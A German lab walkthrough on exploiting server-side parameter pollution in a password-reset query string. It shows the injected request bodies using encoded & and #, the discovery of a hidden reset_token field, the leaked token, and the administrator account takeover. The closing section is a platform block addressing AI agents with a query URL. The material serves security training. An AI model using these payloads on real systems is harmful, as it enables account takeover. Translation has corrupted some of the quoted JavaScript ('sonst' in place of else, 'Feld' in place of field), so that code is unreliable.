> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/api-testing/server-side-parameter-pollution-in-a-query-string.md).

# Serverseitige Parameter Pollution in einer Query-String

### Ausnutzen von serverseitiger Parameter-Pollution in einem Query-String

**Lernziel**/ Als Administrator anmelden und dann Benutzer löschen **carlos**.

#### Passwort-vergessen-Funktionalität

Eine Funktion zum Zurücksetzen des Passworts ist verfügbar.

<figure><img src="/files/62710cd84609a77f807e6285a2918ef394501f84" alt=""><figcaption></figcaption></figure>

Die an den Server gesendete Anfrage lautet wie folgt:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```

Die Serverantwort lautet:

```json
{
    "type":"email",
    "result":"*****@normal-user.net"
}
```

<figure><img src="/files/23731e991655d08382ff633c599297aad4583efe" alt=""><figcaption></figcaption></figure>

#### Versuche zur Parameter-Pollution

Versuchen Sie, über `&`:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```

oder kodiert:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```

Der Server antwortet:

```json
{
    "error": "Parameter not supported."
}
```

#### Unter Verwendung der `#` Zeichen

Mit `#`, ändert sich das Verhalten:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```

oder kodiert:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```

Serverantwort:

```json
{
    "error": "Feld nicht angegeben."
}
```

Dies deutet auf das Vorhandensein eines **Feld** auf Serverseite erwarteten Parameters hin.

#### Entdeckung des `Feld` Parameters

Senden Sie die folgende Anfrage:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```

Dann kombinieren wir `Feld` durch `#` um zusätzliche Werte einzuschleusen:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```

oder kodiert:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```

<figure><img src="/files/ffb4678d180c03e42246ca724b7939e44eb58422" alt=""><figcaption></figcaption></figure>

Durch das Testen verschiedener **serverseitiger Variablennamen**, erhalten Sie eine gültige Antwort mit dem Code **200**, wodurch die Felder offengelegt werden **E-Mail** und **Benutzernamen**.

<figure><img src="/files/a2d552ecb7e2c80c4c490535e7662d5aab7d7b4e" alt=""><figcaption></figcaption></figure>

#### Analyse der JavaScript-Datei forgot-password.js

Eine zugängliche JavaScript-Datei offenbart die folgende Logik:

* Die Formulardaten werden manuell kodiert.
* Die Anfrage wird gesendet über `fetch` in POST.
* Wenn die Antwort die `result` Eigenschaft enthält, wird die Nachricht Bitte überprüfen Sie Ihre E-Mail angezeigt.
* Eine **reset-token** wird aus dem Query-String ausgelesen:

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Ungültiger Benutzername";
                }
                sonst
                {
                    forgotPasswordError.textContent = `Bitte überprüfen Sie Ihre E-Mail: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Ungültiger Benutzername";
            });
    } catch (error) {
        console.error("Unerwarteter Fehler:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    sonst
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

Dies bestätigt die Existenz eines verwendbaren **Reset-/Token** Parameter auszunutzen.

#### Die Verwendung des `reset_token` Parameters

Dieser Parameter wird dann über Server-Pollution injiziert:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```

Der Server antwortet:

```json
{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```

<figure><img src="/files/41d2de2230744c0e82bd610ecf6861734740629a" alt=""><figcaption></figcaption></figure>

#### Administrator-Passwort zurücksetzen

Mit dem erhaltenen Token rufen Sie die folgende URL auf:

```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```

Dadurch können Sie das Passwort des Administrators zurücksetzen, sich mit diesem Konto anmelden und dann den Benutzer löschen **carlos**, wodurch das Lab validiert wird.

<figure><img src="/files/4e7ae7a7f56b21a8ce423591619e41563d2d5736" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/api-testing/server-side-parameter-pollution-in-a-query-string.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
